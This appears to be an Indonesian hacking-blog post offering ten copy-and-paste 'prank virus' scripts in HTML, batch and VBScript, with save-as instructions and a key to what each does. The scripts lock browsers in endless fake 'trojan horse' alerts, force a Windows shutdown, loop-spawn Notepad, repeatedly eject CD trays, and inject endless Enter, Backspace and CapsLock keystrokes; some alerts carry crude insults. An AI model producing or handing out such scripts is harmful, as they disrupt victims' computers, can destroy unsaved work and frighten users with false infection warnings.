Monggow di COPAST..
Script 1
———————————————-
<html>----------------------------------------------
<head>
<script type="text/javascript">
function display_alert()
{
alert("Computer anda terkena trojan horse!!!!!!!!")
var b = true
while (b == true)
{
alert("Virus found!!!!!")
}
}
script>
head>
<body><input type="button" onclick="display_alert()"
value="Submit" />body>
html>center>
Atau yang ini.
----------------------------------------------
<html>----------------------------------------------
<head>
<script type="text/javascript">
function display_alert()
{
alert("Muka lo ancur banget")
var b = true
while (b == true)
{
alert("Install ulang tuh muka supaya mendingan")
}
}
script>
head>
<body><input type="button" onclick="display_alert()"
value="Submit" />body>
html>center>
Ataupun yang ini
----------------------------------------------
<html>----------------------------------------------
<head>
<script type="text/javascript">
function display_alert()
{
alert("Loe kentut ya")
var b = true
while (b == true)
{
alert("Cebok dulu tuw pantat sebelum kentut")
}
}
script>
head>
<body><input type="button" onclick="display_alert()"
value="Submit" />body>
html>center>
Simpan dengan ekstensi .html
Script 2
----------------------------------------------
@ECHO off----------------------------------------------
:Begin
msg * -WARNING-
msg * Sorry PC lo kaya'y ngaco....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN
save namafile ( .BAT )
Script 3
----------------------------------------------
@ECHO off----------------------------------------------
msg * -=WARNING=-
shutdown -s -c "Error !!!"
save namafile (.bat)
Scipt 4
----------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")----------------------------------------------
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile (.vbs)
Script 5
----------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")----------------------------------------------
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile (.vbs)
Script 6
----------------------------------------------
MsgBox "kembali ke menu sebelumnya"----------------------------------------------
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile ( .vbs )
Script 7
----------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")----------------------------------------------
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
save namafile ( .vbs )
Script 8
----------------------------------------------
@ECHO off----------------------------------------------
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile ( .bat )
Script 9
----------------------------------------------
WScript.Sleep 1800----------------------------------------------
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
save namafile ( .vbs )
Script 10
----------------------------------------------
Set wshShell =wscript.CreateObject("WScript.Shell")----------------------------------------------
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save namafile (.vbs )
Keterangan :
Script 1 : membuka browser abis itu keluar message teru menerus
Script 2 : Buat pesan keluar terus
Script 3 : Bikin shutdown terus ada messagenya
Script 4 : Maenin CD/DVD biar buka tutup mulu
Script 5 : Bikin vbscript nongol melulu
Script 6 : Bikin tombol Backspace neken melulu
Script 7 ; Bikin otomatis ngetik "Erorr!!!" di notepad/word
Script 8 : Bikin supaya buka notepad mlulu
Script 9 : Bikin supaya setiap buka notepad otomatis ngetik apa yg kalian mau
Script 10 : Maenin Capslock
Gunakan dengan benar ye….
Script dicopy antara 2 tanda “----------------------------------------------”
havkr blitar
sumber : ThE H@cK!!!nG ®
0 komentar:
Posting Komentar
pendapat anda tentang artikel ini.....